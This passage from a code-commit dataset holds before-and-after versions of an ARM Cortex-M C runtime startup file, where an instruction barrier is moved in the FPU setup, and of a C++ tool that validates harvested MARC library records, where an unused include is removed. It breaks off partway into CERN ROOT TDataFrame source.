_init();\n\n  \/\/ Init epilogue, defined below, called implicitly.\n  void init_epilogue();\n}\n\nvoid crt_init() {\n  \/\/ Enable fault reporting.\n  armv7m::scb.write_shcsr(armv7m::scb.read_shcsr()\n                          .with_memfaultena(true)\n                          .with_busfaultena(true)\n                          .with_usgfaultena(true));\n\n  \/\/ Enable floating point automatic\/lazy state preservation.\n  \/\/ The CONTROL bit governing FP will be set automatically when first used.\n  armv7m::scb_fp.write_fpccr(armv7m::scb_fp.read_fpccr()\n                             .with_aspen(true)\n                             .with_lspen(true));\n  armv7m::instruction_synchronization_barrier();  \/\/ Now please.\n\n  \/\/ Enable access to the floating point coprocessor.\n  armv7m::scb.write_cpacr(armv7m::scb.read_cpacr()\n                          .with_cp11(armv7m::Scb::CpAccess::full)\n                          .with_cp10(armv7m::Scb::CpAccess::full));\n\n  \/\/ It is now safe to use floating point.\n\n\n  \/\/ Remap SRAM.\n  \/\/ Power on syscfg, so we can mess with its registers.\n  rcc.enable_clock(ApbPeripheral::syscfg);\n\n  \/\/ VTOR starts out at zero, which points to Flash and is good.\n  \/\/ But now things are about to change.\n  \/\/ Interrupts are disabled, but to be safe in case we fault (due to a bug),\n  \/\/ go ahead and give VTOR the true address of the Flash table.\n  scb.write_vtor(reinterpret_cast<unsigned>(&_sram_image_dest));\n  armv7m::data_synchronization_barrier();  \/\/ Write it now.\n  armv7m::instruction_synchronization_barrier();  \/\/ Flush pipeline just in case\n\n  \/\/ Remap!\n  auto mode = SysCfg::memrmp_value_t::mem_mode_t::embedded_sram;\n  syscfg.write_memrmp(syscfg.read_memrmp()\n                      .with_mem_mode(mode));\n  armv7m::data_synchronization_barrier();  \/\/ Write it now.\n  armv7m::instruction_synchronization_barrier();  \/\/ Flush pipeline just in cas\n\n  \/\/ Copy image into SRAM.\n  for (Word *src = &_sram_image_start, *dest = &_sram_image_dest;\n       src != &_sram_image_end;\n       ++src, ++dest) {\n    *dest = *src;\n  }\n\n  \/\/ Zero BSS.\n  for (Word *dest = &_bss_start; dest != &_bss_end; ++dest) {\n    *dest = 0;\n  }\n\n  \/\/ Run the funky three-phase init process.\n  for (InitFnPtr *f = &_preinit_array_start; f != &_preinit_array_end; ++f) {\n    (*f)();\n  }\n\n  _init();\n\n  for (InitFnPtr *f = &_init_array_start; f != &_init_array_end; ++f) {\n    (*f)();\n  }\n}\n\nSECTION(\".init_prologue\")\nNAKED void _init() {\n  asm volatile (\"push {r4-r11, lr}\");\n}\n\nSECTION(\".init_epilogue\")\nNAKED void init_epilogue() {\n  asm volatile (\"pop {r4-r11, pc}\");\n}\n<commit_msg>runtime: move ISB in FPU initialization.<commit_after>\/*\n * This provides specialized C runtime startup for our memory map.\n *\/\n\n#include \"runtime\/startup.h\"\n\n#include \"lib\/common\/attribute_macros.h\"\n\n#include \"lib\/armv7m\/types.h\"\n#include \"lib\/armv7m\/instructions.h\"\n#include \"lib\/armv7m\/scb.h\"\n\n#include \"lib\/stm32f4xx\/rcc.h\"\n#include \"lib\/stm32f4xx\/syscfg.h\"\n\nusing armv7m::Word;\nusing armv7m::scb;\n\nusing stm32f4xx::ApbPeripheral;\nusing stm32f4xx::rcc;\nusing stm32f4xx::SysCfg;\nusing stm32f4xx::syscfg;\n\ntypedef void (*InitFnPtr)();\n\n\/*\n * These symbols are provided by the linker script.\n *\/\nextern \"C\" {\n  \/\/ Start of image to be copied.\n  extern Word _sram_image_start;\n  \/\/ End of image to be copied.\n  extern Word _sram_image_end;\n  \/\/ Destination for copy (RAM).\n  extern Word _sram_image_dest;\n\n  \/\/ Start\/end of memory to be zeroed.\n  extern Word _bss_start, _bss_end;\n\n  \/\/ Start\/end of initializer arrays.\n  extern InitFnPtr _preinit_array_start, _preinit_array_end;\n  extern InitFnPtr _init_array_start, _init_array_end;\n\n  \/\/ Generated initializer function.\n  extern void _init();\n\n  \/\/ Init epilogue, defined below, called implicitly.\n  void init_epilogue();\n}\n\nvoid crt_init() {\n  \/\/ Enable fault reporting.\n  armv7m::scb.write_shcsr(armv7m::scb.read_shcsr()\n                          .with_memfaultena(true)\n                          .with_busfaultena(true)\n                          .with_usgfaultena(true));\n\n  \/\/ Enable floating point automatic\/lazy state preservation.\n  \/\/ The CONTROL bit governing FP will be set automatically when first used.\n  armv7m::scb_fp.write_fpccr(armv7m::scb_fp.read_fpccr()\n                             .with_aspen(true)\n                             .with_lspen(true));\n\n  \/\/ Enable access to the floating point coprocessor.\n  armv7m::scb.write_cpacr(armv7m::scb.read_cpacr()\n                          .with_cp11(armv7m::Scb::CpAccess::full)\n                          .with_cp10(armv7m::Scb::CpAccess::full));\n  armv7m::instruction_synchronization_barrier();  \/\/ Now please.\n\n  \/\/ It is now safe to use floating point.\n\n  \/\/ Remap SRAM.\n  \/\/ Power on syscfg, so we can mess with its registers.\n  rcc.enable_clock(ApbPeripheral::syscfg);\n\n  \/\/ VTOR starts out at zero, which points to Flash and is good.\n  \/\/ But now things are about to change.\n  \/\/ Interrupts are disabled, but to be safe in case we fault (due to a bug),\n  \/\/ go ahead and give VTOR the true address of the Flash table.\n  scb.write_vtor(reinterpret_cast<unsigned>(&_sram_image_dest));\n  armv7m::data_synchronization_barrier();  \/\/ Write it now.\n  armv7m::instruction_synchronization_barrier();  \/\/ Flush pipeline just in case\n\n  \/\/ Remap!\n  auto mode = SysCfg::memrmp_value_t::mem_mode_t::embedded_sram;\n  syscfg.write_memrmp(syscfg.read_memrmp()\n                      .with_mem_mode(mode));\n  armv7m::data_synchronization_barrier();  \/\/ Write it now.\n  armv7m::instruction_synchronization_barrier();  \/\/ Flush pipeline just in cas\n\n  \/\/ Copy image into SRAM.\n  for (Word *src = &_sram_image_start, *dest = &_sram_image_dest;\n       src != &_sram_image_end;\n       ++src, ++dest) {\n    *dest = *src;\n  }\n\n  \/\/ Zero BSS.\n  for (Word *dest = &_bss_start; dest != &_bss_end; ++dest) {\n    *dest = 0;\n  }\n\n  \/\/ Run the funky three-phase init process.\n  for (InitFnPtr *f = &_preinit_array_start; f != &_preinit_array_end; ++f) {\n    (*f)();\n  }\n\n  _init();\n\n  for (InitFnPtr *f = &_init_array_start; f != &_init_array_end; ++f) {\n    (*f)();\n  }\n}\n\nSECTION(\".init_prologue\")\nNAKED void _init() {\n  asm volatile (\"push {r4-r11, lr}\");\n}\n\nSECTION(\".init_epilogue\")\nNAKED void init_epilogue() {\n  asm volatile (\"pop {r4-r11, pc}\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** \\brief Utility for validating and fixing up records harvested by zts_harvester\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018,2019 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <algorithm>\n#include <iostream>\n#include <map>\n#include <unordered_set>\n#include <cstdio>\n#include <cstdlib>\n#include \"Compiler.h\"\n#include \"DbConnection.h\"\n#include \"DbResultSet.h\"\n#include \"EmailSender.h\"\n#include \"FileUtil.h\"\n#include \"IniFile.h\"\n#include \"MARC.h\"\n#include \"UBTools.h\"\n#include \"util.h\"\n\n\nnamespace {\n\n\n[[noreturn]]\nvoid Usage() {\n   ::Usage(\"input_file output_file missed_expectations_file email_address\");\n}\n\n\nenum FieldPresence { ALWAYS, SOMETIMES, IGNORE };\n\n\nstruct FieldInfo {\n    std::string name_;\n    FieldPresence presence_;\npublic:\n    FieldInfo(const std::string &name, const FieldPresence presence): name_(name), presence_(presence) { }\n};\n\n\nclass JournalInfo {\n    bool not_in_database_yet_;\n    std::vector<FieldInfo> field_infos_;\npublic:\n    using const_iterator = std::vector<FieldInfo>::const_iterator;\n    using iterator = std::vector<FieldInfo>::iterator;\npublic:\n    explicit JournalInfo(const bool not_in_database_yet): not_in_database_yet_(not_in_database_yet) { }\n    JournalInfo() = default;\n    JournalInfo(const JournalInfo &rhs) = default;\n\n    size_t size() const { return field_infos_.size(); }\n    bool isInDatabase() const { return not not_in_database_yet_; }\n    void addField(const std::string &field_name, const FieldPresence field_presence)\n        { field_infos_.emplace_back(field_name, field_presence); }\n    const_iterator begin() const { return field_infos_.cbegin(); }\n    const_iterator end() const { return field_infos_.cend(); }\n    iterator begin() { return field_infos_.begin(); }\n    iterator end() { return field_infos_.end(); }\n    iterator find(const std::string &field_name) {\n        return std::find_if(field_infos_.begin(), field_infos_.end(),\n                            [&field_name](const FieldInfo &field_info){ return field_name == field_info.name_; });\n    }\n};\n\n\nstd::string GetJournalNameOrDie(const MARC::Record &record) {\n    const auto journal_name(record.getSuperiorTitle());\n    if (unlikely(journal_name.empty()))\n        LOG_ERROR(\"the record w\/ control number \\\"\" + record.getControlNumber() + \"\\\" is missing a superior title!\");\n\n    return journal_name;\n}\n\n\nFieldPresence StringToFieldPresence(const std::string &s) {\n    if (s == \"always\")\n        return ALWAYS;\n    if (s == \"sometimes\")\n        return SOMETIMES;\n    if (s == \"ignore\")\n        return IGNORE;\n    LOG_ERROR(\"unknown enumerated value \\\"\" + s + \"\\\"!\");\n}\n\n\nstd::string FieldPresenceToString(const FieldPresence field_presence) {\n    switch (field_presence) {\n    case ALWAYS:\n        return \"always\";\n    case SOMETIMES:\n        return \"sometimes\";\n    case IGNORE:\n        return \"ignore\";\n    default:\n        LOG_ERROR(\"we should *never get here!\");\n    }\n}\n\n\nvoid LoadFromDatabaseOrCreateFromScratch(DbConnection * const db_connection, const std::string &journal_name,\n                                         JournalInfo * const journal_info)\n{\n    db_connection->queryOrDie(\"SELECT metadata_field_name,field_presence FROM metadata_presence_tracer WHERE journal_name='\"\n                              + db_connection->escapeString(journal_name) + \"'\");\n    DbResultSet result_set(db_connection->getLastResultSet());\n    if (result_set.empty()) {\n        LOG_INFO(\"\\\"\" + journal_name + \"\\\" was not yet in the database.\");\n        *journal_info = JournalInfo(\/* not_in_database_yet = *\/true);\n        return;\n    }\n\n    *journal_info = JournalInfo(\/* not_in_database_yet = *\/false);\n    while (auto row = result_set.getNextRow())\n        journal_info->addField(row[\"metadata_field_name\"], StringToFieldPresence(row[\"field_presence\"]));\n    LOG_INFO(\"Loadad \" + std::to_string(journal_info->size()) + \" entries for \\\"\" + journal_name + \"\\\" from the database.\");\n}\n\n\n\/\/ Two-way mapping required as the map is uni-directional\nconst std::map<std::string, std::string> EQUIVALENT_TAGS_MAP{\n    { \"700\", \"100\" }, { \"100\", \"700\" }\n};\n\n\nvoid AnalyseNewJournalRecord(const MARC::Record &record, const bool first_record, JournalInfo * const journal_info) {\n    std::unordered_set<std::string> seen_tags;\n    MARC::Tag last_tag;\n    for (const auto &field : record) {\n        auto current_tag(field.getTag());\n        if (current_tag == last_tag)\n            continue;\n\n        seen_tags.emplace(current_tag.toString());\n\n        if (first_record)\n            journal_info->addField(current_tag.toString(), ALWAYS);\n        else if (journal_info->find(current_tag.toString()) == journal_info->end())\n            journal_info->addField(current_tag.toString(), SOMETIMES);\n\n        last_tag = current_tag;\n    }\n\n    for (auto &field_info : *journal_info) {\n        if (seen_tags.find(field_info.name_) == seen_tags.end())\n            field_info.presence_ = SOMETIMES;\n    }\n}\n\n\nbool RecordMeetsExpectations(const MARC::Record &record, const std::string &journal_name, const JournalInfo &journal_info) {\n    std::unordered_set<std::string> seen_tags;\n    MARC::Tag last_tag;\n    for (const auto &field : record) {\n        const auto current_tag(field.getTag());\n        if (current_tag == last_tag)\n            continue;\n        seen_tags.emplace(current_tag.toString());\n        last_tag = current_tag;\n    }\n\n    bool missed_at_least_one_expectation(false);\n    for (const auto &field_info : journal_info) {\n        if (field_info.presence_ != ALWAYS)\n            continue;   \/\/ we only care about required fields that are missing\n\n        const auto equivalent_tag(EQUIVALENT_TAGS_MAP.find(field_info.name_));\n        if (seen_tags.find(field_info.name_) != seen_tags.end())\n            ;\/\/ required tag found\n        else if (equivalent_tag != EQUIVALENT_TAGS_MAP.end() and seen_tags.find(equivalent_tag->second) != seen_tags.end())\n            ;\/\/ equivalent tag found\n        else {\n            LOG_WARNING(\"Record w\/ control number \" + record.getControlNumber() + \" in \\\"\" + journal_name\n                     + \"\\\" is missing the always expected \" + field_info.name_ + \" field.\");\n            missed_at_least_one_expectation = true;\n        }\n    }\n\n    return not missed_at_least_one_expectation;\n}\n\n\nvoid WriteToDatabase(DbConnection * const db_connection, const std::string &journal_name, const JournalInfo &journal_info) {\n    for (const auto &field_info : journal_info)\n        db_connection->queryOrDie(\"INSERT INTO metadata_presence_tracer SET journal_name='\" + journal_name\n                                  + \"', metadata_field_name='\" + db_connection->escapeString(field_info.name_)\n                                  + \"', field_presence='\" + FieldPresenceToString(field_info.presence_) + \"'\");\n}\n\n\nvoid SendEmail(const std::string &email_address, const std::string &message_body) {\n    const auto reply_code(EmailSender::SendEmail(\"zts_harvester_delivery_pipeline@uni-tuebingen.de\",\n                          email_address, \"validate_harvested_records encountered problems\", message_body,\n                          EmailSender::MEDIUM));\n\n    if (reply_code >= 300)\n        LOG_ERROR(\"failed to send email, the response code was: \" + std::to_string(reply_code));\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n    if (argc != 5)\n        Usage();\n\n    DbConnection db_connection;\n    auto reader(MARC::Reader::Factory(argv[1]));\n    auto valid_records_writer(MARC::Writer::Factory(argv[2]));\n    auto delinquent_records_writer(MARC::Writer::Factory(argv[3]));\n    std::map<std::string, JournalInfo> journal_name_to_info_map;\n    const std::string email_address(argv[4]);\n\n    unsigned total_record_count(0), new_record_count(0), missed_expectation_count(0);\n    while (const auto record = reader->read()) {\n        ++total_record_count;\n        const auto journal_name(GetJournalNameOrDie(record));\n\n        auto journal_name_and_info(journal_name_to_info_map.find(journal_name));\n        bool first_record(false); \/\/ True if the current record is the first encounter of a journal\n        if (journal_name_and_info == journal_name_to_info_map.end()) {\n            first_record = true;\n            JournalInfo new_journal_info;\n            LoadFromDatabaseOrCreateFromScratch(&db_connection, journal_name, &new_journal_info);\n            journal_name_to_info_map[journal_name] = new_journal_info;\n            journal_name_and_info = journal_name_to_info_map.find(journal_name);\n        }\n\n        bool missed_expectation(false);\n        if (journal_name_and_info->second.isInDatabase()) {\n            if (not RecordMeetsExpectations(record, journal_name_and_info->first, journal_name_and_info->second)) {\n                missed_expectation = true;\n                ++missed_expectation_count;\n            }\n        } else {\n            AnalyseNewJournalRecord(record, first_record, &journal_name_and_info->second);\n            ++new_record_count;\n        }\n\n        if (missed_expectation)\n            delinquent_records_writer->write(record);\n        else\n            valid_records_writer->write(record);\n    }\n\n    for (const auto &journal_name_and_info : journal_name_to_info_map) {\n        if (not journal_name_and_info.second.isInDatabase())\n            WriteToDatabase(&db_connection, journal_name_and_info.first, journal_name_and_info.second);\n    }\n\n    if (missed_expectation_count > 0) {\n        \/\/ send notification to the email address\n        SendEmail(email_address, \"Some records missed expectations with respect to MARC fields. Check \"\n                  \"\/usr\/local\/var\/log\/tuefind\/zts_harvester_delivery_pipeline.log for details.\");\n    }\n\n    LOG_INFO(\"Processed \" + std::to_string(total_record_count) + \" record(s) of which \" + std::to_string(new_record_count)\n             + \" was\/were (a) record(s) of new journals and \" + std::to_string(missed_expectation_count)\n             + \" record(s) missed expectations.\");\n\n    return EXIT_SUCCESS;\n}\n<commit_msg>Removed unused header include<commit_after>\/** \\brief Utility for validating and fixing up records harvested by zts_harvester\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018,2019 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <algorithm>\n#include <iostream>\n#include <map>\n#include <unordered_set>\n#include <cstdio>\n#include <cstdlib>\n#include \"Compiler.h\"\n#include \"DbConnection.h\"\n#include \"DbResultSet.h\"\n#include \"EmailSender.h\"\n#include \"IniFile.h\"\n#include \"MARC.h\"\n#include \"UBTools.h\"\n#include \"util.h\"\n\n\nnamespace {\n\n\n[[noreturn]]\nvoid Usage() {\n   ::Usage(\"marc_input marc_output missed_expectations_file email_address\");\n}\n\n\nenum FieldPresence { ALWAYS, SOMETIMES, IGNORE };\n\n\nstruct FieldInfo {\n    std::string name_;\n    FieldPresence presence_;\npublic:\n    FieldInfo(const std::string &name, const FieldPresence presence): name_(name), presence_(presence) { }\n};\n\n\nclass JournalInfo {\n    bool not_in_database_yet_;\n    std::vector<FieldInfo> field_infos_;\npublic:\n    using const_iterator = std::vector<FieldInfo>::const_iterator;\n    using iterator = std::vector<FieldInfo>::iterator;\npublic:\n    explicit JournalInfo(const bool not_in_database_yet): not_in_database_yet_(not_in_database_yet) { }\n    JournalInfo() = default;\n    JournalInfo(const JournalInfo &rhs) = default;\n\n    size_t size() const { return field_infos_.size(); }\n    bool isInDatabase() const { return not not_in_database_yet_; }\n    void addField(const std::string &field_name, const FieldPresence field_presence)\n        { field_infos_.emplace_back(field_name, field_presence); }\n    const_iterator begin() const { return field_infos_.cbegin(); }\n    const_iterator end() const { return field_infos_.cend(); }\n    iterator begin() { return field_infos_.begin(); }\n    iterator end() { return field_infos_.end(); }\n    iterator find(const std::string &field_name) {\n        return std::find_if(field_infos_.begin(), field_infos_.end(),\n                            [&field_name](const FieldInfo &field_info){ return field_name == field_info.name_; });\n    }\n};\n\n\nstd::string GetJournalNameOrDie(const MARC::Record &record) {\n    const auto journal_name(record.getSuperiorTitle());\n    if (unlikely(journal_name.empty()))\n        LOG_ERROR(\"the record w\/ control number \\\"\" + record.getControlNumber() + \"\\\" is missing a superior title!\");\n\n    return journal_name;\n}\n\n\nFieldPresence StringToFieldPresence(const std::string &s) {\n    if (s == \"always\")\n        return ALWAYS;\n    if (s == \"sometimes\")\n        return SOMETIMES;\n    if (s == \"ignore\")\n        return IGNORE;\n    LOG_ERROR(\"unknown enumerated value \\\"\" + s + \"\\\"!\");\n}\n\n\nstd::string FieldPresenceToString(const FieldPresence field_presence) {\n    switch (field_presence) {\n    case ALWAYS:\n        return \"always\";\n    case SOMETIMES:\n        return \"sometimes\";\n    case IGNORE:\n        return \"ignore\";\n    default:\n        LOG_ERROR(\"we should *never get here!\");\n    }\n}\n\n\nvoid LoadFromDatabaseOrCreateFromScratch(DbConnection * const db_connection, const std::string &journal_name,\n                                         JournalInfo * const journal_info)\n{\n    db_connection->queryOrDie(\"SELECT metadata_field_name,field_presence FROM metadata_presence_tracer WHERE journal_name='\"\n                              + db_connection->escapeString(journal_name) + \"'\");\n    DbResultSet result_set(db_connection->getLastResultSet());\n    if (result_set.empty()) {\n        LOG_INFO(\"\\\"\" + journal_name + \"\\\" was not yet in the database.\");\n        *journal_info = JournalInfo(\/* not_in_database_yet = *\/true);\n        return;\n    }\n\n    *journal_info = JournalInfo(\/* not_in_database_yet = *\/false);\n    while (auto row = result_set.getNextRow())\n        journal_info->addField(row[\"metadata_field_name\"], StringToFieldPresence(row[\"field_presence\"]));\n    LOG_INFO(\"Loadad \" + std::to_string(journal_info->size()) + \" entries for \\\"\" + journal_name + \"\\\" from the database.\");\n}\n\n\n\/\/ Two-way mapping required as the map is uni-directional\nconst std::map<std::string, std::string> EQUIVALENT_TAGS_MAP{\n    { \"700\", \"100\" }, { \"100\", \"700\" }\n};\n\n\nvoid AnalyseNewJournalRecord(const MARC::Record &record, const bool first_record, JournalInfo * const journal_info) {\n    std::unordered_set<std::string> seen_tags;\n    MARC::Tag last_tag;\n    for (const auto &field : record) {\n        auto current_tag(field.getTag());\n        if (current_tag == last_tag)\n            continue;\n\n        seen_tags.emplace(current_tag.toString());\n\n        if (first_record)\n            journal_info->addField(current_tag.toString(), ALWAYS);\n        else if (journal_info->find(current_tag.toString()) == journal_info->end())\n            journal_info->addField(current_tag.toString(), SOMETIMES);\n\n        last_tag = current_tag;\n    }\n\n    for (auto &field_info : *journal_info) {\n        if (seen_tags.find(field_info.name_) == seen_tags.end())\n            field_info.presence_ = SOMETIMES;\n    }\n}\n\n\nbool RecordMeetsExpectations(const MARC::Record &record, const std::string &journal_name, const JournalInfo &journal_info) {\n    std::unordered_set<std::string> seen_tags;\n    MARC::Tag last_tag;\n    for (const auto &field : record) {\n        const auto current_tag(field.getTag());\n        if (current_tag == last_tag)\n            continue;\n        seen_tags.emplace(current_tag.toString());\n        last_tag = current_tag;\n    }\n\n    bool missed_at_least_one_expectation(false);\n    for (const auto &field_info : journal_info) {\n        if (field_info.presence_ != ALWAYS)\n            continue;   \/\/ we only care about required fields that are missing\n\n        const auto equivalent_tag(EQUIVALENT_TAGS_MAP.find(field_info.name_));\n        if (seen_tags.find(field_info.name_) != seen_tags.end())\n            ;\/\/ required tag found\n        else if (equivalent_tag != EQUIVALENT_TAGS_MAP.end() and seen_tags.find(equivalent_tag->second) != seen_tags.end())\n            ;\/\/ equivalent tag found\n        else {\n            LOG_WARNING(\"Record w\/ control number \" + record.getControlNumber() + \" in \\\"\" + journal_name\n                     + \"\\\" is missing the always expected \" + field_info.name_ + \" field.\");\n            missed_at_least_one_expectation = true;\n        }\n    }\n\n    return not missed_at_least_one_expectation;\n}\n\n\nvoid WriteToDatabase(DbConnection * const db_connection, const std::string &journal_name, const JournalInfo &journal_info) {\n    for (const auto &field_info : journal_info)\n        db_connection->queryOrDie(\"INSERT INTO metadata_presence_tracer SET journal_name='\" + journal_name\n                                  + \"', metadata_field_name='\" + db_connection->escapeString(field_info.name_)\n                                  + \"', field_presence='\" + FieldPresenceToString(field_info.presence_) + \"'\");\n}\n\n\nvoid SendEmail(const std::string &email_address, const std::string &message_body) {\n    const auto reply_code(EmailSender::SendEmail(\"zts_harvester_delivery_pipeline@uni-tuebingen.de\",\n                          email_address, \"validate_harvested_records encountered problems\", message_body,\n                          EmailSender::MEDIUM));\n\n    if (reply_code >= 300)\n        LOG_ERROR(\"failed to send email, the response code was: \" + std::to_string(reply_code));\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n    if (argc != 5)\n        Usage();\n\n    DbConnection db_connection;\n    auto reader(MARC::Reader::Factory(argv[1]));\n    auto valid_records_writer(MARC::Writer::Factory(argv[2]));\n    auto delinquent_records_writer(MARC::Writer::Factory(argv[3]));\n    std::map<std::string, JournalInfo> journal_name_to_info_map;\n    const std::string email_address(argv[4]);\n\n    unsigned total_record_count(0), new_record_count(0), missed_expectation_count(0);\n    while (const auto record = reader->read()) {\n        ++total_record_count;\n        const auto journal_name(GetJournalNameOrDie(record));\n\n        auto journal_name_and_info(journal_name_to_info_map.find(journal_name));\n        bool first_record(false); \/\/ True if the current record is the first encounter of a journal\n        if (journal_name_and_info == journal_name_to_info_map.end()) {\n            first_record = true;\n            JournalInfo new_journal_info;\n            LoadFromDatabaseOrCreateFromScratch(&db_connection, journal_name, &new_journal_info);\n            journal_name_to_info_map[journal_name] = new_journal_info;\n            journal_name_and_info = journal_name_to_info_map.find(journal_name);\n        }\n\n        bool missed_expectation(false);\n        if (journal_name_and_info->second.isInDatabase()) {\n            if (not RecordMeetsExpectations(record, journal_name_and_info->first, journal_name_and_info->second)) {\n                missed_expectation = true;\n                ++missed_expectation_count;\n            }\n        } else {\n            AnalyseNewJournalRecord(record, first_record, &journal_name_and_info->second);\n            ++new_record_count;\n        }\n\n        if (missed_expectation)\n            delinquent_records_writer->write(record);\n        else\n            valid_records_writer->write(record);\n    }\n\n    for (const auto &journal_name_and_info : journal_name_to_info_map) {\n        if (not journal_name_and_info.second.isInDatabase())\n            WriteToDatabase(&db_connection, journal_name_and_info.first, journal_name_and_info.second);\n    }\n\n    if (missed_expectation_count > 0) {\n        \/\/ send notification to the email address\n        SendEmail(email_address, \"Some records missed expectations with respect to MARC fields. Check \"\n                  \"\/usr\/local\/var\/log\/tuefind\/zts_harvester_delivery_pipeline.log for details.\");\n    }\n\n    LOG_INFO(\"Processed \" + std::to_string(total_record_count) + \" record(s) of which \" + std::to_string(new_record_count)\n             + \" was\/were (a) record(s) of new journals and \" + std::to_string(missed_expectation_count)\n             + \" record(s) missed expectations.\");\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Author: Enrico Guiraud, Danilo Piparo CERN  03\/2017\n\n\/*************************************************************************\n * Copyright (C) 1995-2016, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include \"RConfigure.h\" \/\/ R__USE_IMT\n#include \"ROOT\/TDFNodes.hxx\"\n#include \"ROOT\/TSpinMutex.hxx\"\n#include \"ROOT\/TTreeProcessorMT.hxx\"\n#include \"RtypesCore.h\" \/\/ Long64_t\n#include \"TROOT.h\"      \/\/ IsImplicitMTEnabled\n#include \"TTreeReader.h\"\n\n#include <mutex>\n#include <numeric> \/\/ std::accumulate\n#include <string>\nclass TDirectory;\nclass TTree;\n\nnamespace ROOT {\nnamespace Internal {\n\nTDataFrameActionBase::TDataFrameActionBase(ROOT::Detail::TDataFrameImpl *implPtr, const BranchNames_t &tmpBranches)\n   : fImplPtr(implPtr), fTmpBranches(tmpBranches)\n{\n}\n\nvoid TDataFrameActionBase::CreateSlots(unsigned int nSlots)\n{\n   fReaderValues.resize(nSlots);\n}\n\n} \/\/ end NS Internal\n\nnamespace Detail {\n\nTDataFrameBranchBase::TDataFrameBranchBase(TDataFrameImpl *implPtr, const BranchNames_t &tmpBranches,\n                                           const std::string &name)\n   : fImplPtr(implPtr), fTmpBranches(tmpBranches), fName(name){};\n\nBranchNames_t TDataFrameBranchBase::GetTmpBranches() const\n{\n   return fTmpBranches;\n}\n\nstd::string TDataFrameBranchBase::GetName() const\n{\n   return fName;\n}\n\nTDataFrameImpl *TDataFrameBranchBase::GetImplPtr() const\n{\n   return fImplPtr;\n}\n\nTDataFrameFilterBase::TDataFrameFilterBase(TDataFrameImpl *implPtr, const BranchNames_t &tmpBranches,\n                                           const std::string &name)\n   : fImplPtr(implPtr), fTmpBranches(tmpBranches), fName(name){};\n\nTDataFrameImpl *TDataFrameFilterBase::GetImplPtr() const\n{\n   return fImplPtr;\n}\n\nBranchNames_t TDataFrameFilterBase::GetTmpBranches() const\n{\n   return fTmpBranches;\n}\n\nbool TDataFrameFilterBase::HasName() const\n{\n   return !fName.empty();\n};\n\nvoid TDataFrameFilterBase::CreateSlots(unsigned int nSlots)\n{\n   fReaderValues.resize(nSlots);\n   fLastCheckedEntry.resize(nSlots, -1);\n   fLastResult.resize(nSlots);\n   fAccepted.resize(nSlots);\n   fRejected.resize(nSlots);\n   \/\/ fAccepted and fRejected could be different than 0 if this is not the\n   \/\/ first event-loop run using this filter\n   std::fill(fAccepted.begin(), fAccepted.end(), 0);\n   std::fill(fRejected.begin(), fRejected.end(), 0);\n}\n\nvoid TDataFrameFilterBase::PrintReport() const\n{\n   if (fName.empty()) \/\/ PrintReport is no-op for unnamed filters\n      return;\n   const auto accepted = std::accumulate(fAccepted.begin(), fAccepted.end(), 0ULL);\n   const auto all      = accepted + std::accumulate(fRejected.begin(), fRejected.end(), 0ULL);\n   double     perc     = accepted;\n   if (all > 0) perc \/= all;\n   perc *= 100.;\n   Printf(\"%-10s: pass=%-10lld all=%-10lld -- %8.3f %%\", fName.c_str(), accepted, all, perc);\n}\n\nTDataFrameImpl::TDataFrameImpl(TTree *tree, const BranchNames_t &defaultBranches)\n   : fTree(tree), fDefaultBranches(defaultBranches), fNSlots(ROOT::Internal::GetNSlots())\n{\n}\n\n\/\/ This is an helper class to allow to pick a slot without resorting to a map\n\/\/ indexed by thread ids.\n\/\/ WARNING: this class does not work as a regular stack. The size is\n\/\/ fixed at construction time and no blocking is foreseen.\n\/\/ TODO move into TDFUtils\nclass TSlotStack {\nprivate:\n   unsigned int              fCursor;\n   std::vector<unsigned int> fBuf;\n   ROOT::TSpinMutex          fMutex;\n\npublic:\n   TSlotStack() = delete;\n   TSlotStack(unsigned int size) : fCursor(size), fBuf(size) { std::iota(fBuf.begin(), fBuf.end(), 0U); }\n   void Push(unsigned int slotNumber)\n   {\n      std::lock_guard<ROOT::TSpinMutex> guard(fMutex);\n      fBuf[fCursor++] = slotNumber;\n   };\n   unsigned int Pop()\n   {\n      std::lock_guard<ROOT::TSpinMutex> guard(fMutex);\n      return fBuf[--fCursor];\n   }\n};\n\nvoid TDataFrameImpl::Run()\n{\n#ifdef R__USE_IMT\n   if (ROOT::IsImplicitMTEnabled()) {\n      using ttpmt_t = ROOT::TTreeProcessorMT;\n      std::unique_ptr<ttpmt_t> tp;\n      tp.reset(new ttpmt_t(*fTree));\n\n      TSlotStack slotStack(fNSlots);\n      CreateSlots(fNSlots);\n      tp->Process([this, &slotStack](TTreeReader &r) -> void {\n         auto slot = slotStack.Pop();\n         BuildAllReaderValues(r, slot);\n         \/\/ recursive call to 